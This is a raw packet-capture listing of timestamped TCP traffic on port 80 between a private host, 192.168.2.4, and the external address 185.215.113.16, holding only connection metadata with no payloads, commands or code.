Dec 20, 2024 17:11:02.267136097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.267512083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.267544031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.267558098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.267576933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.267760038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.267802000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.268316031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.268332005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.268362999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.268429041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.268441916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.268477917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.269078016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.269172907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.269186020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.269202948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.269386053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.269427061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.269891977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.269906044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.269937992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.269989967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.270001888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.270040035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.270726919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.270740986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.270754099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.270772934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.270917892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.270960093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.271437883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.271523952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.271538019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.271555901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.271759033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.271802902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.272253036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.272350073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.272361994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.272380114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.272571087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.272613049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.273134947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.273149967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.273180962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.273545980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.273566008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.273605108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.273904085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.273968935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.273982048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.274002075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.274674892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.274699926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.274713039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.274744034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.274776936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.275036097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.275048971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.275080919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.275487900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.275571108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.275583982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.275609970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.275774002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.275811911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.276274920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.276362896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.276375055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.276396990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.276612043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.276648998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.277084112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.277096987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.277136087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.277201891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.277214050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.277244091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.324678898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.324740887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.324754953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.324877977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.324975967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.325021029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.325088978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.325162888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.325175047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.325190067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.325196028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.325227976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.325843096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.325968981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.325982094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.326010942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.326153994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.326199055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.326678991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.326916933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.326929092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.326955080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.327055931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.327069998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.327081919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.327095032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.327121019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.327717066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.327778101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.327790022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.327815056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.368562937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.397537947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.397609949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.397623062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.397809029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.397885084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.397937059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.397977114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.397989988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.398032904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.398322105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.398334980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.398375988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.398742914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.398756027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.398770094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.398796082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.398905039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.398953915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.399521112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.399533987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.399571896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.399681091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.399694920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.399745941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.400402069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.400414944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.400429010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.400475979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.400563955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.400614977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.401119947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.401215076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.401228905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.401254892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.401421070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.401463985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.401901960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.401923895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.401983976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.402044058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.446736097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.458348989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.458444118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.458456039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.458589077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.458594084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.458616018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.458633900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.458873034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.458885908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.458910942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.459382057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.459419966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.459584951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.459666967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.459702015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.459825993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.459839106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.459851027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.459867954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.460599899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.460637093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.460716963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.460730076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.460763931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.460830927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.461327076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.461363077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.461426973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.461440086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.461469889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.461679935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.462110043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.462122917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.462151051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.462261915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.462275982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.462296963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.462858915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.462901115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.462977886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.462990999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.463025093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.463198900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.463666916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.463704109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.463752985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.463766098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.463800907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.464030981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.464595079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.464607000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.464628935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.464673996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.464685917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.464709044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.465348005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.465385914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.465430021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.465444088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.465476990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.465660095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.466084957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.466136932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.466176033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.466191053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.466224909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.466412067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.466908932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.466922045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.466947079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.467048883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.467062950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.467092037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.467698097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.467747927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.467792034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.467806101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.467839956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.467988968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.468463898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.468512058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.468542099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.468555927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.468594074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.468801022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.469307899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.469353914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.469465971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.469480038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.469512939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.469815969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.490310907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.522841930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.522901058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.522913933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.523093939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.523116112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.523159027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.523225069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.523269892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.523283005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.523296118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.523307085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.523334980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.524038076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.524115086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.524127960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.524148941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.524308920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.524347067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.524847984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.524862051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.524897099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.525016069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.525029898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.525063038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.525696039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.525758982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.525772095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.525794029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.525962114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.526026964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.589768887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.589801073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.589812994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.589992046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.590106010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.590169907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.590253115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.590265989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.590301037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.590485096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.590575933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.590589046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.590610027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.590821981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.590859890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.591300011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.591448069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.591460943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.591483116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.591660023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.591697931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.592118979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.592253923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.592267036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.592288017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.592427969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.592463970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.592859030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.592952013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.592962027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.592988014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.593168020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.593204975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.593624115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.593722105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.593734980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.593755007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.593969107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.594006062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.594460964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.634104013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.651665926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.651702881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.651716948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.651737928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.651865959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.651902914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.652051926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.652064085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.652100086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.652237892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.652339935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.652371883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.652479887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.652493000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.652507067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.652529955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.653014898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.653054953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.653079987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.653094053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.653131962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.653285980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.653695107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.653729916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.653755903 CET	80	49744	185.215.113.16	192.168.2.4
